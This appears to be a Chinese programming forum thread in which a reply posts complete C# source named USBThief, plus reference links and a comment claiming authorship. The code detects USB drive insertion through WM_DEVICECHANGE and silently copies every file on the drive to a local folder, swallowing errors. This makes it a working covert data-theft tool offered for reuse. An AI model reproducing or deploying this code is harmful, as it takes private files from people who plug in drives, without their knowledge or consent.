如题

解决方案 »

  1.   

    方法一:用Win32 API.
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.Threading;
    using System.IO;
    namespace USBThief
    {
        public partial class Form1 : Form
        {
            Thread thread = null;
            bool IsStop = false;
            string Flag = string.Empty;
            string Des = "D:\\MyStudy";
            string Sou = string.Empty;
            public const int WM_DEVICECHANGE = 0x219; //哽件状态改变
            public const int DBT_DEVICEARRIVAL = 0x8000;//U盘插入时
            public const int DBT_CONFIGCHANGECANCELED = 0x0019;
            public const int DBT_CONFIGCHANGED = 0x0018;
            public const int DBT_CUSTOMEVENT = 0x8006;
            public const int DBT_DEVICEQUERYREMOVE = 0x8001;
            public const int DBT_DEVICEQUERYREMOVEFAILED = 0x8002;
            public const int DBT_DEVICEREMOVECOMPLETE = 0x8004;
            public const int DBT_DEVICEREMOVEPENDING = 0x8003;
            public const int DBT_DEVICETYPESPECIFIC = 0x8005;
            public const int DBT_DEVNODES_CHANGED = 0x0007;
            public const int DBT_QUERYCHANGECONFIG = 0x0017;
            public const int DBT_USERDEFINED = 0xFFFF;        public Form1()
            {
                InitializeComponent();
                CenterToScreen();
            }        protected override void WndProc(ref Message m)
            {            if (m.Msg==WM_DEVICECHANGE)
                {
                    switch (m.WParam.ToInt32())
                    {
                          case WM_DEVICECHANGE:
                                break;
                            case DBT_DEVICEARRIVAL://U盘插入
                                thread =null;
                                IsStop = false;
                                DriveInfo[] s = DriveInfo.GetDrives();
                                foreach (DriveInfo drive in s)
                                {
                                    if (drive.DriveType == DriveType.Removable)
                                    {
                                            Sou = drive.Name;
                                            if (thread==null)
                                            {
                                                thread = new Thread(new ThreadStart(Copy));
                                                thread.Start();
                                            }
                                          
                                        break;
                                    }
                                }
                                break;
                            case DBT_CONFIGCHANGECANCELED:
                                break;
                            case DBT_CONFIGCHANGED:
                                break;
                            case DBT_CUSTOMEVENT:
                                break;
                            case DBT_DEVICEQUERYREMOVE:
                                break;
                            case DBT_DEVICEQUERYREMOVEFAILED:
                                break;
                            case DBT_DEVICEREMOVECOMPLETE:
                                IsStop = true;//停止文件的复制
                                thread = null;
                                break;
                            case DBT_DEVICEREMOVEPENDING:
                                break;
                            case DBT_DEVICETYPESPECIFIC:
                                break;
                            case DBT_DEVNODES_CHANGED:
                                break;
                            case DBT_QUERYCHANGECONFIG:
                                break;
                            case DBT_USERDEFINED:
                                break;
                            default:
                                break;
                    }
                }
                base.WndProc(ref m);
            }
            /// <summary>
            /// 
            /// </summary>
            public void Copy()
            {
                CopyFile(Sou);
            }
            /// <summary>
            /// 复制文件
            /// </summary>
           public void CopyFile(string pathname)
           {
                if (pathname.Trim().Length==0||IsStop)
                {
                    return;
                }
                string[]files = Directory.GetFileSystemEntries(pathname);
                try
                {
                    foreach (string dir in files)
                    {
                        if (IsStop)
                        {
                            break;
                        }
                        if (Directory.Exists(dir))
                        {
                            int index = dir.IndexOf(@"\");
                            Directory.CreateDirectory(Des + @"\" + dir.Substring(index , dir.Length - index));
                            CopyFile(dir);
                        }
                        else
                        {
                            int index = dir.IndexOf(@"\");
                            File.Copy(dir,Des+@"\"+dir.Substring(index,dir.Length-index),true);
                        }
                    }
                }
                catch (Exception ex)
                {
                    ex.ToString();
                }
           }
            /// <summary>
            /// 关闭
            /// </summary>
            /// <param name="sender"></param>
            /// <param name="e"></param>
            private void Form1_FormClosed(object sender, FormClosedEventArgs e)
            {
                 if (thread!=null)
                 {
                     thread.Abort();
                 }
                 this.Close();
            }
          
        }
    }至于方法二,就要进行循环了,就是获得计算机上的所有驱动器列表,然后通过DriveInfo类的DriveType属性判断是否为Removable类型的驱动器,即可移动设备,如果是的话就进行操作,否则不操作,进入下一个循环。就这些了,你看看有用不?
      

  2.   

    参考资料,希望对你有帮助!
    1、C#能操作底层么??? 如监控U盘插入拔出、光驱监控的问题
    参考
    2、监视U盘,子类中不行,主窗体中可以,为什么?在线等!
    参考
    3、重写OnWndProc方法,捕获WM_DEVICECHANGED
    U盘加载,卸载,拔出,插入,WM_DEVICECHANGE,WndProc,DBT_DEVICEARRIVAL,DBT_DEVICEREMOVECOMPLETE
    参考
    4、检测U盘插入并自动复制U盘里文件到D盘 C#源码
    参考
      

  3.   

    擦,这个代码是我的usbthief源码,连复制路劲都一样